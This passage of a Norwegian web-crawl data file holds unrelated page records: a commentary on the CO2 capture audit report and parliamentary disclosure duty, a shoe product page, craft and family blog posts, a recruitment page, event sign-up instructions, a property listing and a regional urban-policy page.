m\u00e5te. Det har de if\u00f8lge Riksrevisjonen ikke. Rapporten ser ut som et nedsl\u00e5ende eksempel p\u00e5 storskala sl\u00f8sing med offentlige midler.\n\nDet er imidlertid ett punkt som synes s\u00e6rlig graverende for den fortsatt sittende regjeringen, og det er f\u00f8lgende passasje:\n\n*Investeringsbudsjettet til partnerne i TCM* \\[*Teknologisenteret*\\] *var betydelig h\u00f8yere enn det som ble presentert ved Stortingets behandling av investeringen  \nI* \\[*Stortingsproposisjon*\\] *nr. 38* (*2008\u20132009*) *ble det angitt en forventet byggekostnad p\u00e5 4,2 mrd. kroner. Olje- og energidepartementet og Gassnova har i prosjektgjennomf\u00f8ringen forholdt seg til et investeringsbudsjett p\u00e5 5,9 mrd. kroner, som ogs\u00e5 inkluderte en prosjektreserve.*\n\n*Etter Riksrevisjonens oppfatning burde Olje- og energidepartementet ved behandlingen av St.prp. nr. 38* (*2008\u20132009*) *ha lagt fram informasjon om at departementet hadde til hensikt \u00e5 inng\u00e5 en avtale med Statoil som la opp til \u00e5 avsette en prosjektreserve som reelt sett har inng\u00e5tt i den totale kostnadsrammen for prosjektet.*\n\nDette betyr i korthet at olje- og energiminister Terje Riis-Johansen p\u00e5 dette tidspunktet hadde et *internt* investeringsbudsjett for samarbeidet med sine prosjektpartnere som var 1.7 milliarder kroner h\u00f8yere enn det samme departement kommuniserte til Stortinget gjennom Stortingsproposisjon nr. 38. Dette burde Stortinget ha blitt opplyst om, mener Riksrevisjonen.\n\n## Br\u00f8t regjeringen opplysningsplikten?\n\nDet er vanskelig \u00e5 understreke nok hvor alvorlig dette er. Regjeringens opplysningsplikt er, ved siden av domstolenes uavhengighet og et par andre grunnleggende prinsipper, b\u00e6rebjelken i v\u00e5r statsform. Uten den er parlamentarismen utenkelig eller i beste fall s\u00e6rs vanskelig \u00e5 praktisere. Statsr\u00e5der og regjeringer holdes ansvarlig av Stortinget p\u00e5 grunnlag av denne plikten.\n\n> Riksrevisjonen insinuerer at statsr\u00e5den visste at dette ville bli dyrere enn han informerte Stortinget om.\n> **Morten Kinander, jurist og filosof i Civita\n\nDersom informasjonen rundt storstilte prosjekter \u2013 som i tillegg viser seg \u00e5 v\u00e6re vedvarende industrielle katastrofer \u2013 ikke blir kommunisert p\u00e5 en etterrettelig, forst\u00e5elig og klar m\u00e5te, blir det umulig for Stortinget \u00e5 f\u00f8re parlamentarisk kontroll med en regjering.\n\nI dette tilfellet insinuerer Riksrevisjonen at statsr\u00e5den visste at dette ville bli dyrere enn han informerte Stortinget om. Det antydes med andre ord en bevisst tilbakeholdelse av informasjon. Det er vanskelig \u00e5 tenke seg mer alvorlige politiske handlinger av en regjering enn dette.\n\n## Alvorlige lovbestemmelser\n\nDette er ogs\u00e5 lovregulert, til alt overm\u00e5l i Grunnloven, \u00a7 82:\n\n*Regjeringen skal meddele Storthinget alle de Oplysninger, der ere n\u00f8dvendige for Behandlingen af de Sager, den freml\u00e6gger. Intet Medlem af Statsraadet maa freml\u00e6gge urigtige eller vildledende Oplysninger for Storthinget eller dets Organer.*\n\n> **\n> Det antydes med andre ord en bevisst tilbakeholdelse av informasjon.\n> \n> **Morten Kinander, jurist og filosof i Civita\n\nBrudd p\u00e5 denne plikten, bringer oss til en annen grunnlovsbestemmelse, og det er riksretten. Den som er interessert, kan selv se om vilk\u00e5rene i Lov om ansvar for handlinger som p\u00e5tales ved riksrett (Riksrettsloven) kan v\u00e6re relevante, s\u00e6rlig \u00a7 9, som sier at en statsr\u00e5d som misligholder sin opplysningsplikt overfor Stortinget, kan straffes med b\u00f8ter eller fengsel inntil 5 \u00e5r.\n\nDet er ikke med dette sagt at statsr\u00e5den eller Regjeringen b\u00f8r d\u00f8mmes i Riksrett, men *dersom* Regjeringen ved olje- og energiministeren har feilinformert Stortinget i en s\u00e5pass alvorlig sak, er det slike lovbestemmelser det dreier seg om. Mer alvorlig for en regjering og for en politikers etterm\u00e6le blir det alts\u00e5 ikke, og det vil i prinsippet ramme alle statsr\u00e5der som har visst om forskjellen p\u00e5 det interne og det eksterne budsjettet.\n\n## Langsom behandlingstid\n\n> Det er vanskelig \u00e5 tenke seg mer alvorlige politiske handlinger av en regjering enn dette.\n> \n> **Morten Kinander, jurist og filosof i Civita\n\nSom om ikke dette skulle v\u00e6re nok, har saken enda flere oppsiktsvekkende sider. Riksrevisjonens rapport var sluttbehandlet i Riksrevisjonens styre den 20. juni, alts\u00e5 rett f\u00f8r sommeren. Likevel ble den f\u00f8rst offentlig forg\u00e5rs, en uke etter valget.\n\nNormalt tar det noe tid f\u00f8r rapporter formelt oversendes Stortinget av riksrevisoren, p\u00e5 styrets vegne. Men veldig lang tid tar det sjelden. For eksempel ble alle de fem sakene som ble behandlet p\u00e5 styrem\u00f8tet den 22. mai, oversendt Stortinget den 11. juni, dvs. ca. tre uker etter.\n\nF\u00f8r saken om CO2-h\u00e5ndteringen ble oversendt tok det imidlertid omtrent *tre m\u00e5neder*. P\u00e5 m\u00f8tet den 20. juni ble, s\u00e5 langt jeg kan bed\u00f8mme, bare denne og en annen sak, hvor Regjeringen f\u00e5r kritikk for uhensiktsmessig bruk av E\u00d8S-midler, behandlet. Begge temaer ville v\u00e6rt naturlige innslag i en valgkamp, og grunnen til at rapportene ble oversendt Stortinget s\u00e5 lenge etter ferdigstillelse og vedtak i styret, er ikke oppgitt.\n\nI et oppslag i Finansavisen 18. september, forteller Bellona-leder Frederic Hauge at tidligere statsr\u00e5d for Arbeiderpartiet og riksrevisor J\u00f8rgen Kosmo mente at rapporten ble tilbakeholdt av hensyn til valgkampen. Dersom dette stemmer, er det flere som har et problem, og igjen er det et tillitsproblem.\n\n## Hva hadde Riksrevisjonen sagt?\n\nDersom Hauges opplysninger skulle stemme, b\u00f8r det f\u00e5 alvorlige konsekvenser for riksrevisoren. Men riktigheten av disse opplysningene er ikke avgj\u00f8rende for den endelige vurderingen av saken. Det er uholdbart at det skal ta s\u00e5 lang tid f\u00f8r en endelig vedtatt og styresignert rapport fra Riksrevisjonen oversendes Stortinget og offentliggj\u00f8res.\n\n> Mer alvorlig for en regjering og for en politikers etterm\u00e6le blir det alts\u00e5 ikke.\n> \n> **Morten Kinander, jurist og filosof i Civita\n\nDet kan v\u00e6re gode grunner for at det skal ta tre m\u00e5neder, men disse er det vanskelig \u00e5 f\u00e5 \u00f8ye p\u00e5. Det er ogs\u00e5 uholdbart at det skal v\u00e6re opp til riksrevisoren selvfritt \u00e5 bestemme hvor lang tid det skal ta f\u00f8r slike rapporter oversendes Stortinget. Og s\u00e6rlig gjelder det i tilfeller som dette, hvor rapportene har et politisk sprengkraftig innhold. Det er merkelig at en revisor, av alle ting, skal operere med ordninger som er s\u00e5 lite etterpr\u00f8vbare som dette. Man kan bare ane hva Riksrevisjonen selv hadde sagt om en slik rutine hos en statlig drevet virksomhet.\n\n**F\u00d8LG DEBATTEN:** @NRKYtring p\u00e5 Twitter.\n\n## Malt seg opp i et hj\u00f8rne\n\nVi b\u00f8r alts\u00e5 im\u00f8tese *to granskninger*.\n\nDen ene b\u00f8r dreie seg om grunnlaget for det avviket som Riksrevisjonen finner mellom det interne budsjettet og det som ble kommunisert til Stortinget, og den andre b\u00f8r v\u00e6re om oversendelsen av rapporten kan mistenkes for \u00e5 v\u00e6re motivert av utenforliggende hensyn. Selv den minste mistanke er nok til at Riksrevisjonen er i en alvorlig tillitskrise.\n\n> **\n> Selv den minste mistanke er nok til at Riksrevisjonen er i en alvorlig tillitskrise.\n> \n> **Morten Kinander, jurist og filosof i Civita\n\nDen nye kontroll- og konstitusjonskomiteen b\u00f8r alts\u00e5 ikke bli arbeidsledig med det f\u00f8rste.\n\nDet kan se ut som om Riksrevisjonen har malt seg opp i et hj\u00f8rne. Har den rett i sine anklager om opplysningssvikt, er det alvorlig at det tok tre m\u00e5neder f\u00f8r oversendelsen til Stortinget. Slikt b\u00f8r et Storting f\u00e5 vite om umiddelbart. Tar den feil, har den p\u00e5 sviktende grunnlag anklagd Regjeringen for \u00e5 feilinformere Stortinget, med tilh\u00f8rende konsekvenser for den parlamentariske og offentlige debatt. Det er heller ikke greit.\n\n  Publisert  19.09.2013, kl. 15.57 \n\n", "language": "no", "__index_level_0__": "6f968659-3911-45f2-afcf-03beba64fabf"}
{"url": "http://www.dirtyforswain.com/prada-h%C3%B8ye-h%C3%A6ler-nude-dame-sko-high-heels-pumpsprada-sunglasseskule-ting-%C3%A5-kj%C3%B8pe-p-1147.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:36:51Z", "text": "**prada vesker made in Prada Dame Sko High heels , Prada h\u00f8ye h\u00e6ler - nude dame sko high heels pumps,prada sunglasses,kule ting \u00e5 kj\u00f8pe mario prada history,spesialtilbud**  \n\u00a0  \n**materiale & vedlikehold**  \novermateriale:l\u00e6r  \ninnermateriale:l\u00e6r  \ndekks\u00e5le:l\u00e6r  \ns\u00e5le:ekte l\u00e6r  \nf\u00f4r:tynt f\u00f4ret  \n\u00a0  \n**produktdetaljer**  \nskotupp:spiss  \nh\u00e6lform:stilletth\u00e6l  \nlukking:\u00e5pen  \nm\u00f8nster:ensfarget  \n\u00a0  \n**st\u00f8rrelse & passform**  \nh\u00e6lh\u00f8yde:10 cm i st\u00f8rrelse 35  \n", "language": "no", "__index_level_0__": "30b9f234-f626-4059-92c6-720c1fae2751"}
{"url": "http://aasesanna.blogspot.com/2012/07/dt-bidrag-for-papiravisen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:46:58Z", "text": "Noe hobby og noe kommersielt..... \n\n## fredag 6. juli 2012\n\n### DT-bidrag for Papiravisen\n\n  \n\nJeg har ryddet i scrappesakene mine\u00a0  \nog det ble jammen en diger pappeske\u00a0\n\nsom skal tas med til Mathilde i Stavanger \\!\n\nOg s\u00e5 ble det enda et kort i samlingen hennes.\n\n  \nDette er til juli m\u00e5neds utfordring i Papiravisen.\n\nKanskje du har lyst til \u00e5 v\u00e6re med ?  \nLa deg is\u00e5fall inspirere av dette bildet:\n\n\n\nHer Mathildes kort og mitt bidrag.  \n  \n  \n\n\n  \nBakgrunnen er kartong med stempel fra Stempelglede  \nHjerter: Marianne Design  \nStempelmotiv: Stempelboden  \nTekststempel: Papirloftet.  \n  \n  \n12:30           \n\n#### 1 kommentar:\n\n1.  \n    \n    salige lavendel9. juli 2012 kl. 21:49\n    \n    Kortet ble nydelig\\! Ikke s\u00e5 lett \u00e5 f\u00e5 riktig lys p\u00e5 bilder. Selv bruker jeg Photoshop til \u00e5 finjustere lys/farge s\u00e5 det skal ligne mest mulig p\u00e5 virkeligheten.\n    \n", "language": "no", "__index_level_0__": "647d2d77-65ce-4e6a-bef6-2021c45110ed"}
{"url": "http://www.access-professionals.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:00:58Z", "text": "# Registrer din CV\n\nVed \u00e5 registrere deg hos kan vi l\u00f8pende matche deg mot ledige stillinger\n\n# Innleie av konsulenter\n\nInnleie av konsulenter gir \u00f8kt fleksibilitet for din organsisajon\n\nAccess Professionals har som m\u00e5lsetning \u00e5 v\u00e6re en samarbeidspartner som styrker din konkurransekraft ved \u00e5 tilby riktig person med den kompetansen som kreves. Men grunnlag i v\u00e5r kunnskap om fagomr\u00e5dene og markedet skal vi forts\u00e5 ditt behov og foresl\u00e5 gode og effektive l\u00f8sninger. Vi skal gjennomf\u00f8re rekrutteringsprosessene med engasjement og profesjonalitet, samtidig som vi behandler alle kandidater med grundighet og respekt.\n\n", "language": "no", "__index_level_0__": "945965f6-3ad7-4f13-86b7-085e655d7903"}
{"url": "https://connect.kfuk-kfum.no/hvordan-melde-pa-arr", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:06:49Z", "text": "**P\u00e5melding:**(Denne instruksjonen gjelder p\u00e5melding av enkeltpersoner. Gruppe-p\u00e5melding benytter annen l\u00f8sning)  \nDu kan melde p\u00e5 egne barn/barnebarn og andre barn med samtykke fra deres foresatte. Ved p\u00e5melding av andre trenger du deres navn/etternavn, f\u00f8dselsdato, adresse, mobilnummer, epostadresse, foresatt 1 og dennes mobilnummer/epostadresse. Dersom de du melder p\u00e5 ikke har eget mobilnummer og epostadresse kan du skrive inn foresattes mobilnummer og epostadresse.\n\nAlle som har et mobilnummer kan benytte connect.kfuk-kfum.no.\n\nHar du benyttet p\u00e5meldingsl\u00f8sningen eller v\u00e6rt p\u00e5logget connect.kfuk-kfum.no f\u00f8r, logger du p\u00e5 med ditt mobilnummer og passord. Har du glemt passordet, velg \u00abGlemt passord\u00bb, og du vil f\u00e5 tilsendt nytt p\u00e5 SMS.\n\nHar du ikke logget deg inn p\u00e5 connect.kfuk-kfum.no f\u00f8r, velger du \u00ablag bruker\u00bb og registrerer **deg selv** med navn, f\u00f8dselsdato adresse og kontaktopplysninger **f\u00f8rst**.\n\nN\u00e5r du har logget deg inn i connect med eksisterende bruker eller du har laget deg en bruker, f\u00e5r du mulighet til \u00e5 melde p\u00e5 deg selv og/eller andre. Dersom du skal melde p\u00e5 andre, sjekker du f\u00f8rst om personen er registrert i KFUK-KFUMs database fra f\u00f8r. Det gj\u00f8r du ved \u00e5 skrive inn personens mobilnummer + fornavn i s\u00f8kefeltet.\n\n  - Kommer rette vedkommende opp, velger du denne\n  - Kommer ikke rette vedkommende n\u00e5r du s\u00f8ker, registrerer du den du vil melde p\u00e5 som ny person med fullt navn, adresse, f\u00f8dselsdato, mobilnummer, epostadresse og foresatt 1 og dennes mobilnummer/epostadresse. Har ikke den du skal melde p\u00e5 eget mobilnummer/egen epostadresse, kan du benytte foresattes kontaktopplysninger.\n\nN\u00e5 kan du melde p\u00e5. Husk \u00e5 velge p\u00e5meldingsalternativ, eventuelle aktiviteter og \u00e5 fylle inn eventuelle kommentarfelt. Husk ogs\u00e5 \u00e5 bekrefte p\u00e5meldingen.\n\nGjenta prosedyren dersom du vil melde p\u00e5 enda flere.\n\n", "language": "no", "__index_level_0__": "8014b907-557c-4628-a57e-85d8da7c8474"}
{"url": "http://docplayer.me/912650-Nyoppfort-del-av-tomannsbolig-velkommen-til-industrivegen-15-b-4353-klepp-stasjon.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:32:59Z", "text": "3 INDUSTRIVEGEN 15 B / KLEPP Eiendomsmeglerfullmektig MNEF Stian L\u00f8ge Telefon: Mobil: E-post: Faks: Aktiv Eiendomsmegling J\u00e6ren AS Jernbanegata 5, 4340 Bryne N\u00f8kkelinformasjon Prisant.: Kr ,- + omk. Omkostn.: Ca. Kr ,- Totalt inkl. Kr ,- omkostninger Eiere: Hellvik Hus Hellvik As att. Paul Haneferd / J\u00f8rgen Mikkelsen, Hellvik Hus Hellvik Eiendomsutvikling AS Boligtype: Tomannsbolig Eierform: Selveier Bygge\u00e5r: 2014 Bra: 104 m\u00b2 Gnr./bnr.: 10/442 Tomtetype: Fellestomt Oppdragsnr.: Velkommen til Industrivegen 15 B \"Her f\u00e5r man muligheten til \u00e5 flytte rett inn i en nyoppf\u00f8rt del av tomannsbolig med gode kvaliteter. Boligen fremst\u00e5r som innbydende med lyse farger og gode planl\u00f8sninger\" Vi i Aktiv eiendomsmegling kan presentere en flott del av tomannsbolig som aldri har v\u00e6rt bebodd. Vil du v\u00e6re f\u00f8rstemann inn? Boligen har for det meste lys parkett p\u00e5 t\u00f8rre gulv, mens det er fliser p\u00e5 bad og vaskerom. Innholdet er bra, med 3 soverom, stue, kj\u00f8kken, vaskerom, bad og bod. I tillegg f\u00e5r man en egen carport rett utenfor d\u00f8ren. Beliggenheten er genial der en f\u00e5r g\u00e5avstand til togstasjonen, mens Klepp sentrum ligger like unna. I n\u00e6rheten har man tilbud innen barnehager og skoler, samt at butikken ligger innen g\u00e5avstand. Velkommen hjem\\! Oppdragsansvarlig Kristen Helland 3\n\n\n\n\n\n5 Innhold 1 etg: Entr\u00e8/gang, bod, vaskerom, bad og to soverom. 2 etg: Stue, kj\u00f8kken og soverom. Standard Vi i Aktiv eiendomsmegling kan presentere en nyoppf\u00f8rt del av tomannsbolig med h\u00f8y trivselsfaktor. Boligen fremst\u00e5r som innbydende med flott materialvalg og gode l\u00f8sninger. Her kan man flytte rett inn\\! 1 etg Entr\u00e8/gang: Lys parkett p\u00e5 gulv med god plass til \u00e5 henge av seg yttert\u00f8y og diverse. Vaskerom: Til venstre finner man vaskerommet som har fliser p\u00e5 gulv med lys v\u00e5tromstap\u00e8t p\u00e5 vegg. Her f\u00e5r man plass til vaskemaskin samt t\u00f8rketrommel. Bod: Man har en praktisk bod tilgjengelig i f\u00f8rste etasje med parkett p\u00e5 gulv og lyse vegger. Praktisk rom til oppbevaring. Bad: M\u00f8rke fliser p\u00e5 gulv med lyse fibotrespo plater p\u00e5 vegg. Badet er av god st\u00f8rrelse med lys og moderne baderomsinnredning, vegghengt toalett og dusj. Her f\u00e5r man ogs\u00e5 god plass til en kommode eller sjenk, dersom man trenger det. Soverom: Det er to godt utnyttede soverom i f\u00f8rste etasje der begge har lys parkett p\u00e5 gulv med lyse vegger. Begge soverommene har plass til dobbelseng i tillegg til garderobeskap. 2 etg Oppe i andre etasje finner man stuen og kj\u00f8kkenet i en \u00e5pen og luftig l\u00f8sning. Her er det lys parkett p\u00e5 gulv med lyse vegger, i tillegg til store vindusflater som slipper mye naturlig lys inn i boligen. I selve stuen f\u00e5r man god plass til et spisebord av hvilken som helst st\u00f8rrelse, samt at man kan ha en egen tv stue. Planl\u00f8sningen er genial og det gj\u00f8r at selve m\u00f8bleringen blir enkel, det sies at det enkle er ofte det beste\\! Fra stuen er det utgang til en solrik balkong man kan nyte en kaffe kopp og to p\u00e5. Ved kj\u00f8kkenet finner man en lys kj\u00f8kkeninnredning med m\u00f8rk benkeplate. Her er komfyr og koketopp integrert og f\u00f8lger med i handelen. Man f\u00e5r god skap og benkeplass, noe som kommer godt med n\u00e5r man skal lage mat til familien. Ved kj\u00f8kkenet kan man ha et lite frokostbord om \u00f8nskelig. I andre etasje er det ogs\u00e5 et tredje soverom som er av god st\u00f8rrelse og har plass til en dobbelseng samt garderobeskap. Her er det ogs\u00e5 lys parkett med lyse vegger. Utenfor boligen finner man et ryddig og praktisk g\u00e5rdsrom der en har en egen carport som h\u00f8rer til boligen. G\u00e5rdsrommet er asfaltert og gj\u00f8r vedlikeholdet enkelt. Beliggenhet Glimrende beliggenhet p\u00e5 Klepp stasjon. Her f\u00e5r man g\u00e5avstand til togstasjonen der en har regelmessige avganger mot b\u00e5de Stavanger og Egersund. Fra Klepp\n\n\n\n6 Industrivegen 15 B stasjon er det ikke langt til Klepp sentrum der tilbudene er store innen butikker, shopping, treningssenter, idrettstilbud, buss og J\u00e6rhagen. Bebyggelse Veletablert boligomr\u00e5de best\u00e5ende av eneboliger, tomannsboliger og n\u00e6ringsbygg. Adkomst Det vil bli satt opp visningsskilt under visning. Se vedlagte veikart for kj\u00f8rebeskrivelse til eiendommen. Beskrivelse av eiendommen Byggem\u00e5te Boligene oppf\u00f8res med 20cm isolasjon som kles innvendig med gipsplater og utvendig med grunnet kledning. Innervegger kles med gips og isoleres med inntil 10cm isolasjon. Yttertak isoleres forskriftsmessig og kles innvendig med hvite takplater. Areal Bra: ca 104m\u00b2 F\u00f8lgende rom inng\u00e5r i prim\u00e6rareal: Oppvarming Varme i gulv p\u00e5 bad. Tomten Fellestomt. Tomtens grunnareal: 492m\u00b2. Parkering Egen carport med tilh\u00f8rende sportsbod. Vei/vann/avl\u00f8p Offentlig. 6\n\n\n\n7 Velkommen inn\\!\n\n\n\n8 Moderne & flott - Badet fremst\u00e5r som moderne og flott med m\u00f8rke fliser p\u00e5 gulv og fibotrespo p\u00e5 vegg. Inneholder lys baderomsinnredning, vegghengt toalett og dusj. - Man har god plass til kommode eller sjenk, noe som er perfekt dersom man har barn og trenger stellebord. Badet er romslig og praktisk anlagt. - Varme i gulv. 8\n\n\n\n", "language": "no", "__index_level_0__": "df08a880-35fa-4980-937e-5d3343da12d7"}
{"url": "http://mrkkurs.no/tjenester/regional-utvikling/by-og-regionsenterpolitikk/faglig-rad-for-bypolitikk-i-nordland/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:27:20Z", "text": "# Faglig r\u00e5d for bypolitikk\n\nSom en del av arbeidet med *Regional plan for by- og regionsenterpolitikk* etablerte Nordland fylkeskommune et bredt sammensatt og politisk uavhengig Faglig r\u00e5d for bypolitikk i Nordland. Det faglige r\u00e5det har i l\u00f8pet 2016 utarbeidet en rapport som anbefaler etablering av Nordlandsmodellen. \n\n## Nordlandsmodellen\n\nDet faglige r\u00e5det utfordrer stat, fylkeskommune, bykommuner, n\u00e6ringsliv, utdanningsinstitusjoner og andre byutviklingsakt\u00f8rer til \u00e5 utvikle og etablere NORDLANDSMODELLEN. M\u00e5let med Nordlandsmodellen er \u00e5 gi byene gjennomf\u00f8ringskraft til \u00e5 oppn\u00e5 konkrete resultater i byutviklingen, utnytte potensialene for hver enkel by og m\u00f8te de negative utfordringene. R\u00e5det mener n\u00f8kkelen til dette ligger i: \n\n1.  Bedre koordinering av satsningsomr\u00e5der og sektorinteresser gjennom en styrket samhandling b\u00e5de p\u00e5 tvers av sektorerens linjeorganisering og mellom offentlige og private akt\u00f8rer.\n2.  \u00c5 tilf\u00f8re hver av bykommunene \u00f8kt arbeidskapasitet og kompetanse.\u00a0\n\nDet strategiske m\u00e5let med Nordlandsmodellen er at den skal utgj\u00f8re en reell positiv forskjell i utviklingen av Nordlandsbyene, regionene og fylket som helhet. Sterkere organisering mellom akt\u00f8rene, mer samkj\u00f8rt anvendelse av arbeidskraft og kompetanse, samt tilf\u00f8ring av n\u00f8dvendige ressurser skal gj\u00f8re byene og regionen rustet til \u00e5 omsette *faglige r\u00e5d til handling*. \n\n## Sluttrapporten \n\nSluttrapporten ble ferdigstilt i desember 2016 og foreligger i to deler:\u00a0Nordlandsmodellen (NFK - Faglig r\u00e5d for bypolitikk)  \n\n  - Rapport 1: NORDLANDSMODELLEN  (PDF, 721 kB)\n  - Rapport 2: Nordlands byregioner - faktagrunnlag  (PDF, 3 MB)\n\nDen endelige rapporten er en videreutvikling av \"midtveisrapporten\" som ble lagt fram og diskutert p\u00e5 frokostm\u00f8te i Narvik 25. august. Nordlandsmodellen ble ogs\u00e5 presentert under byromseminaret i Sandnessj\u00f8en 19. - 20. september 2016. I den sammenhengen det ble ogs\u00e5 gjennomf\u00f8rt \"speed-date\" med regionsenterkommunene i Nordland hvor r\u00e5det ba om tilbakemeldinger og innspill. \n\n## Arbeidet videre\n\n21\\. juni 2017 reiste fylkesr\u00e5d for n\u00e6ring og regional utvikling, Mona Fager\u00e5s (SV), til Oslo for \u00e5 presentere arbeidet med Nordlandsmodellen og fylkeskommunens \u00f8nsker for det videre arbeidet. Her m\u00f8tte hun\u00a0to statssekret\u00e6rer fra Kommunal- og moderniseringsdepartementet. Sammen med seg hadde hun leder fra faglig r\u00e5d og ordf\u00f8rerne\u00a0i Sortland og Vestv\u00e5g\u00f8y. Fylkeskommunen forventer tilbakemelding p\u00e5 sin foresp\u00f8rsel\u00a0om statlig\u00a0bidrag i etablering av Nordlandsmodellen i l\u00f8pet av h\u00f8sten 2017.\u00a0\n\n## R\u00e5dets mandat og sammensetting\n\nR\u00e5dets mandat har v\u00e6rt at de i l\u00f8pet av 2016 skal gi konkrete r\u00e5d og innspill om hvordan en fremtidsrettet bypolitikk b\u00f8r utformes ut fra den type byer og bystruktur vi har i Nordland, samt bidra til en bypolitisk debatt. Disse r\u00e5dene skulle nedfelles i en midtveisrapport og en sluttrapport.\n\nR\u00e5dets arbeid har p\u00e5g\u00e5tt parallelt med at fylkeskommunen, i samarbeid med de 10 regionsenterkommunene, har utarbeidet en regional plan for by- og regionsenterpolitikk som ble vedtatt i Nordland fylkesting 5. - 7. desember 2016.\n\nDet faglige r\u00e5det har v\u00e6rt ledet av arkitekt og byplanlegger **Kristin Gustavsen**. Les mer om r\u00e5dets sammensetting her.\n\n  Organiseringen av et regionalt *Fagr\u00e5d for bypolitikk* bygger p\u00e5 de erfaringer som ble gjort av Faglig r\u00e5d for b\u00e6rekraftig byutvikling. Dette r\u00e5det ble opprettet i 2012 av dav\u00e6rende milj\u00f8vernminister B\u00e5rd Vegar Solhjell, og leverte sin sluttrapport til kommunal- og moderniseringsminister Jan Tore Sanner 16. desember 2013.\n\nPublisert avHeidi Ramsvik\nPublisert03.01.2017\n\nSist endret 08.09.2017\n\n", "language": "no", "__index_level_0__": "0f290af8-c10b-47c8-a4f9-008ec53ac785"}
{"url": "http://filharmonicasverden.blogspot.com/2009/08/vintage-affair-vintage-roses.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:17:37Z", "text": "\n\n## s\u00f8ndag 23. august 2009\n\n### A vintage affair - vintage roses\n\nJeg fant en ny utfordringsblogg som heter A vintage affair, s\u00e5 midt i blinken for meg som elsker vintagestilen :-)\n\n  \n\n\nDenne m\u00e5nedens utfordring g\u00e5r ut p\u00e5 \u00e5 lage et kort med en vintage rose.\n\nJeg har brukt et gammelt glansbilde med rosemotiv, b\u00f8lgepapp som har f\u00e5tt et str\u00f8k med Gesso, blondeserviett, tyll, en liten gr\u00e5papirpose, tag, kalender og rondell til \u00e5 markere f\u00f8dselsdagen til mottakeren.\n\n19:44              \n\n Etiketter: A vintage affair, glansbilde, vintage \n\n#### 5 kommentarer:\n\n\n\n\n\nPia sa...\n\nwow l\u00e6kker vintage\n\n 23. august 2009 kl. 20:46    \n\n \n\nWenche sa...\n\nNydelig lekkert kort\\!\n\n 23. august 2009 kl. 22:52    \n\n \n\nUnni sa...\n\n\u00c5h for et nyyyydelig vintage kort; det er jo s\u00e5 lekkert med rosemotiv:)  \nunni\n\n 23. august 2009 kl. 23:10    \n\n\n\n\n\nAina sa...\n\n\u00c5\u00e5\u00e5\u00e5h, s\u00e5 lekkert\\! Du er s\u00e5 flink p\u00e5 s\u00e5nne kort :O)\n\n 24. august 2009 kl. 12:52    \n\n\n\n\n\nsalige lavendel sa...\nDette var helt nydelig. Jeg har tenkt \u00e5 lage meg en kalender for de siste m\u00e5nedene av \u00e5ret, s\u00e5 jeg takker for inspirasjonen her.  \nHvis du trenger noen vintage bilder til arbeidene dine, har jeg lagt ut noen p\u00e5 bloggen min. Det er bare \u00e5 forsyne seg :)  \nHa en str\u00e5lende dag\\!\n\n 25. august 2009 kl. 12:23    \n\n  - Tim Holtz\n    \n", "language": "no", "__index_level_0__": "45a53eaa-4f9f-4f3d-8e00-829dfa4b1afa"}
{"url": "http://cecilieslykke.blogspot.it/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:14:37Z", "text": "## Polyvore\n\n    \n\n    \n\n##  21. august 2014 \n\n### G R E E N\n\nPlutselig var sommeren over, og mentalt er jeg s\u00e5 langt inne i h\u00f8sten at de rundt meg klager over det. Jeg elsker h\u00f8st\\! Jada, den er lang og alt det der, men den er herlig.  \n  \n\n\n\nMorsom middag.. Pastaskruer i solt\u00f8rket tomat-pesto, med serranoskinke, pinjekjerner, cherrytomater, v\u00e5rl\u00f8k, spinat og avocado. Eneste savnet ble fetaost.\u00a0\n\n\n\n  \nGleder meg nesten i hjel til h\u00f8stmaten\\! F\u00e5rik\u00e5l, gryter, Beef Bourguigne, supper, kj\u00f8ttkaker - you name it.\u00a0\n\n  \nHa en fin sensommer da dere\\! Jeg kaller det h\u00f8st. Fnis.\u00a0\n\n     21 kommentarer           \n\n Etiketter: Mat , Middagstips , Sommer \n\n##  12. juli 2014 \n\n### FRANKRIKE\n\nAntibes var akkurat slik jeg husket det. Nydelig, varmt, deilig og selvf\u00f8lgelig dyrt, som ellers p\u00e5 den franske rivieraen. Vi leide en leilighet vi allerede dr\u00f8mmer om \u00e5 bo i igjen og koste oss veldig, men jeg er den f\u00f8rste til \u00e5 innr\u00f8mme at ferie ogs\u00e5 er litt slitsomt. V\u00e5re to sm\u00e5 troll fant ikke ut av nattes\u00f8vnen kan man vel si, s\u00e5 lite s\u00f8vn byr p\u00e5 slite foreldre og kanskje litt for kort lunte. S\u00e5nn er det med kn\u00f8ttiser og nye steder:-)\n\n  \n\n\n  \n\n\nVi elsket leiligheten i Antibes by. 6. etasje med veranda p\u00e5 nesten alle kanter og fantastisk utsikt flere veier.\u00a0\n\n  \n\n\nN\u00e5r barna v\u00e5kner f\u00f8r soloppgang f\u00e5r man i det minste nyte synet av den fra terassen. Ikke utsikt \u00e5 klage p\u00e5 dette.\u00a0\n\n  \n\n\nLiten skatt i kul badeshorts fra Lindex, p\u00e5 bryggen i Juan Les Pins.\u00a0\n\n  \n\n\nKos p\u00e5 verandaen etter \u00e5 ha v\u00e6rt p\u00e5 stranden.\u00a0\n\n  \nDette var en rask status fra v\u00e5r ferie. Jeg kommer tilbake med mer; dr\u00f8mmebryllupet og antrekket for kvelden. Stay tuned\\! God sommer s\u00e5 lenge.\u00a0\n\n  \n     14 